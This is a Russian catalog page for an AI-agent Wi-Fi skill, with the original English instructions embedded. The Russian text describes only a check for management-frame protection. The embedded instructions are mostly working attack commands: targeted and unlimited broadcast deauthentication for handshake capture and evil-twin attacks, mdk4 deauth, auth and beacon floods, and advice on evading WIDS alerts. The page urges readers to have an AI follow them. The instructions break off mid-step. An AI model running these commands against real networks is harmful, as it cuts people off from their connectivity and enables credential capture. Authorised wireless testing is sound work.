Перейти к содержанию
Skillpedia
Безопасность6.5k · #14182

deauth-pmf

Что он делает

Навык объясняет, как проверить, использует ли Wi-Fi сеть защищённые кадры управления, которые защищают от принудительного отключения. Он нужен командам безопасности, которые проверяют собственные беспроводные сети.

Когда использовать

  • ✓Когда ИТ-команде нужно узнать, защищает ли её Wi-Fi клиентов от попыток принудительного отключения.
  • ✓Когда ревьюеру безопасности нужно задокументировать уровень защиты точки доступа.
  • ✓Когда команда планирует проверку беспроводной сети и сначала должна записать настройки кадров управления.

Ссылка на скилл

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md

Скопируйте и вставьте её в ваш ИИ (Claude, ChatGPT или Cursor) с просьбой следовать инструкциям.

Как использовать

Самый простой способ: скопируйте сообщение и вставьте его в свой ИИ. Он прочитает скилл и выполнит инструкции.

Готовое сообщение для вставки

Используй этот скилл, чтобы помочь мне: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md Прочитай файл SKILL.md по этой ссылке и следуй его инструкциям в моей задаче.
Хотите, чтобы ваш ИИ сам находил такие скиллы?Установите бесплатный MCP Skillpedia: одна строка, и перед каждой задачей он ищет среди 15 000+ скиллов.Установить за 1 минуту →

Пример запроса к вашему ИИ

“Защищает ли Wi-Fi нашего офиса устройства от атак принудительного отключения?”

5 новых скиллов в неделю. 1 минута чтения.

Как это работает

Навык велит ИИ прочитать настройки маяков точки доступа из короткого захвата и отнести защиту к одному из уровней: отключена, необязательна или обязательна. Результат записывается как находка.

Технический текст (оригинальный SKILL.md)

Оригинальный текст автора на английском, прямо с GitHub.

Deauth / Disassoc + 802.11w (PMF) Posture

This is a shared-primitive skill. Most callers need it to coerce a single client reconnect (handshake capture or evil-twin roaming). The standalone deliverable is the PMF state finding: pmf_state ∈ {disabled, optional, required} is always worth documenting as a network finding regardless of whether deauth is needed for the attack path.

Prerequisites

  • Monitor-mode + injection-capable adapter on the target channel.
  • Tools: aircrack-ng suite (aireplay-ng, airodump-ng), mdk4, tshark or iw.
  • Deauth requires permitted_actions: deauth_for_handshake_capture in plan/roe.json. Broadcast deauth / DoS requires posture=loud.

Step 1 — PMF state detection from beacons

Read MFPC (Management Frame Protection Capable) and MFPR (Required) bits from the AP's RSN IE before issuing any deauth frames:

# Capture beacons for the target BSSID
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/pmf_recon \
    --output-format pcap <mon-iface>
# 5–10 seconds is enough to collect multiple beacons.

# Decode RSN capabilities: MFPC + MFPR bits
tshark -r /tmp/pmf_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields \
    -e wlan.ssid \
    -e wlan_mgt.rsn.capabilities.mfpc \
    -e wlan_mgt.rsn.capabilities.mfpr \
    2>/dev/null | sort -u

# Interpretation:
# MFPC=0, MFPR=0  → PMF disabled (deauth frames accepted by all clients)
# MFPC=1, MFPR=0  → PMF optional (deauth works against clients that don't support PMF)
# MFPC=1, MFPR=1  → PMF required (deauth frames are encrypted; unprotected deauth rejected)
# Alternative: iw to inspect connected interface (if you have network access)
iw dev <iface> info | grep -i pmf
# or from scan results:
iw <iface> scan | grep -A 20 "<SSID>" | grep -i "protected\|pmf\|mfp"

Decision based on PMF state:

PMF state Deauth viable? Action
disabled (MFPC=0) Yes — all clients accept unprotected deauth Proceed to Step 2
optional (MFPC=1, MFPR=0) Partial — clients that didn't negotiate PMF accept deauth Proceed; note some clients may be immune
required (MFPC=1, MFPR=1) No — all deauth rejected unless encrypted PMKID still viable; mark deauth as blocked

Step 2 — Targeted single-client deauth (standard / stealth)

# Identify connected clients first
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> <mon-iface>
# Bottom section shows STATION (client) MACs.

# Send a SINGLE targeted deauth frame (one reconnect trigger)
sudo aireplay-ng --deauth 1 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>

# Confirm the client reassociates and watch for the handshake in
# airodump's header: "WPA handshake: <BSSID>"
# Send a burst of targeted deauth (3–5 frames) if single deauth is ignored
# (e.g., client is in power-save mode or noisy RF environment)
sudo aireplay-ng --deauth 5 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>

OPSEC: Targeted deauth to a single client is visible in WIDS but low-severity. One or two frames at engagement cadence = noise. Burst deauth (>10 frames) triggers WIDS alerts on most enterprise platforms.

Step 3 — Broadcast deauth (posture=loud, DoS testing)

# Broadcast deauth to all clients on the AP (posture=loud only)
# This is a DoS action — confirm it is an accepted risk in RoE.
sudo aireplay-ng --deauth 0 \
    -a <BSSID> \
    <mon-iface>
# --deauth 0 = unlimited broadcast; Ctrl+C to stop.

# Broadcast disassociation variant
sudo aireplay-ng --deauth 10 \
    -a <BSSID> \
    <mon-iface>

RoE gate for broadcast deauth:

HARD STOP: broadcast deauth requires posture=loud AND
  plan/roe.json:permitted_actions contains "broadcast_deauth" or "dos_testing"
  This is a denial-of-service action — all clients lose connectivity.

Step 4 — mdk4 beacon flood / auth flood (DoS testing)

# mdk4 deauth flood (more evasive — randomizes source MACs)
sudo mdk4 <mon-iface> d \
    -B <BSSID> \
    -c <CHANNEL>

# mdk4 auth flood (overwhelms AP's association table)
sudo mdk4 <mon-iface> a \
    -a <BSSID>

# mdk4 beacon flood (SSID pollution — interferes with scanning)
sudo mdk4 <mon-iface> b \
    -n "TargetSSID-DoS" \
    -c <CHANNEL>

Note: mdk4 beacon flood does not disconnect clients; it pollutes the visible network list. Auth flood + deauth flood together cause AP memory/state table exhaustion on older firmware.

Step 5 — Unprotected action-f

Частые вопросы

Какие бывают уровни защиты?

Навык использует три уровня: отключена, необязательна и обязательна.

Проверяет ли он отключения в сети?

Активные тесты отключения регулируются правилами работы и требуют явного одобрения.

Для кого он?

Для команд безопасности, которые проверяют беспроводные сети, которыми владеют или на проверку которых у них есть разрешение.

Подробности

Оригинальное описание автора

Targeted and broadcast 802.11 deauthentication / disassociation, 802.11w/PMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).

repo: BitterSecurity/Decepticon

Популярность

Звёзды на GitHub
6.5k
Место в рейтинге
#14182
Лицензия
Apache-2.0
Обновлён
01.11.2026

Полезен ли этот скилл?

0

Войдите , чтобы голосовать.

Комментарии

  • …

Другие скиллы из этого репозитория

Похожие скиллы